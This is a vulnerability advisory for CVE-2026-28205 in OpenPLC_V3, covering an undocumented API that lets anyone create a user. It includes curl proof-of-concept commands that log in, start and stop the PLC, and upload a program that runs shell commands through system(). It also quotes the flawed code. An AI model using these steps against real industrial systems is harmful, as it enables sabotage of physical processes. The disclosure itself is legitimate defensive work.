CVE-2026-28205: Initialization of a resource with an insecure default in OpenPLC_V3
- CVE-2026-28205
- CVSS 4.0 Score: 9.2 (Critical)
- CVSS 4.0 Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H
- CWE(s): CWE-1188 Initialization of a resource with an insecure default
Official
Description
OpenPLC_V3 is vulnerable to an Initialization of a Resource with an Insecure Default vulnerability which could allow an attacker to gain access to the system by bypassing authentication via an API.
Remediation
OpenPLC_v3 is now considered to be end of life. Users are recommended to upgrade to OpenPLC Runtime v4 (https://github.com/autonomy-logic/openplc-runtime)
Technical Details
Affected Project
master branch as of Feb 14th 2026, or at commit hash bb35f6966b3e0258114284e3e6c11d7b5d32de8c
CVSS Info
CVSS Score: 8.9
CVSS Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H
Justification:
- Attack Vector (AV): Network
- This attack could be executed over the internet
- Attack Complexity (AC): High - This attack requires the HTTPS port to be exposed.
- Privileges Required (PR): None
- This attack does not requires an adversary to have any privileges
- User Interaction (UI): None - This attack does not require any user interactions
- Scope (S): Changed
- This attack affects underlying OT systems
- Confidentiality (C): Low
- This attack reveals some data from the target to the attacker
- Integrity (I): High
- This attack allows an adversary to perform actions like modifying register values of an OT system
- Availability (A): High
- This attack allows an adversary to completely shut down the OT systems
Steps to Reproduce:
On a default installation of OpenPLC_v3, the program opens two ports: http:8080 and https:8443. This attack requires the adversary to send the requests described below to https:8443 port. SENDING REQUESTS TO HTTP:8080 WILL NOT WORK.
Assuming that the target is on https://localhost:8443 (please change the host as required):
- Create a new user through API:
curl https://localhost:8443/api/create-user -X POST -H "Content-Type: application/json" -d '{"username":"test","password":"test"}' -k- Login and get the JWT token:
JWT=$(curl https://localhost:8443/api/login -X POST -H "Content-Type: application/json" -d '{"username":"test","password":"test"}' -k | jq -r '.access_token')As a server-admin, the web UI, after authenticating with
openplc:openplc, shows that there are no new users created:http://target/usersAs an adversary, the PLC can be started with the following command:
curl https://localhost:8443/api/start-plc -H "Authorization: Bearer $JWT" -k- This action could be verified by visiting
http://target/dashboard - Similarly, the PLC could be stopped:
curl https://localhost:8443/api/stop-plc -H "Authorization: Bearer $JWT" -k- An adversary could also tamper the
webserver_program.stprogram:
curl -k $'https://localhost:8443/api/upload-file' -X $'POST' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' -H "Authorization: Bearer $JWT" --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name="file"; filename="testt.st"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aPROGRAM ShellExec\x0a VAR\x0a trigger : BOOL;\x0a command_sent : BOOL;\x0a END_VAR\x0a\x0a {\x0a #include <stdlib.h>\x0a }\x0a\x0a IF trigger AND NOT command_sent THEN\x0a {\x0a system("ls -la / > /tmp/output.txt");\x0a }\x0a command_sent := TRUE;\x0a END_IF;\x0a\x0a IF NOT trigger THEN\x0a command_sent := FALSE;\x0a END_IF;\x0a \x0aEND_PROGRAM\x0a\x0aCONFIGURATION Config0\x0a RESOURCE Res0 ON PLC\x0a TASK Main(INTERVAL := T#100ms, PRIORITY := 0);\x0a PROGRAM Inst0 WITH Main : ShellExec;\x0a END_RESOURCE\x0aEND_CONFIGURATION\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--'- The compilation logs could be retrieved using the following command:
curl https://localhost:8443/api/compilation-status -H "Authorization: Bearer $JWT" -kUpon inspection of the Web UI, no signup feature was discovered. This is NOT SAME AS NORMAL USER SIGNUP because:
- The user database table is not connected
- However, they allow access to the same resource(s)
- The API is undocumented, leading to no API users being created in most installations
In addition to the aforementioned vulnerability, the passwords from the Web UI are stored plaintext in the database file in the installation directory. The path to the database file in the installation directory is werbserver/openplc.db. This vulnerability is tracked as CVE-2026-35556.
Root Cause
An API endpoint /api/create-user was introduced in OpenPLC_v3 6 months ago. The following is the code for that as of Feb 14th 2025:
@restapi_bp.route("/create-user", methods=["POST"])
def create_user():
# check if there are any users in the database
try:
users_exist = User.query.first() is not None
except Exception as e:
logger.error(f"Error checking for users: {e}")
return jsonify({"msg": "User creation error"}), 401
# if there are no users, we don't need to verify JWT
if users_exist and verify_jwt_in_request(optional=True) is None:
return jsonify({"msg": "User already created!"}), 401
data = request.get_json()
username = data.get("username")
password = data.get("password")
role = data.get("role", "user")
if not username or not password:
return jsonify({"msg": "Missing username or password"}), 400
if User.query.filter_by(username=username).first():
return jsonify({"msg": "Username already exists"}), 409
# Create a new user
user = User(username=username, role=role)
user.set_password(password)
db.session.add(user)
db.session.commit()
return jsonify({"msg": "User created", "id": user.id}), 201This endpoint checks if any user exists in the database. By default, OpenPLC_v3 web UI has a default user openplc:openplc. The flaw exists in higher code hierarchy, API where the application loads the database.
The web UI uses the database at openplc.db, while the API uses the database at instance/{DB_PATH} ({DB_PATH} is not a placeholder, rather the actual filename). This difference, along with missing documentation on API, makes the endpoint open to attackers.
Timeline
Date format: YYYY-MM-DD
- Discovery: 2026-02-14
- Reported: 2026-02-14
- Fixed: 2026-02-25
- Published: 2026-04-25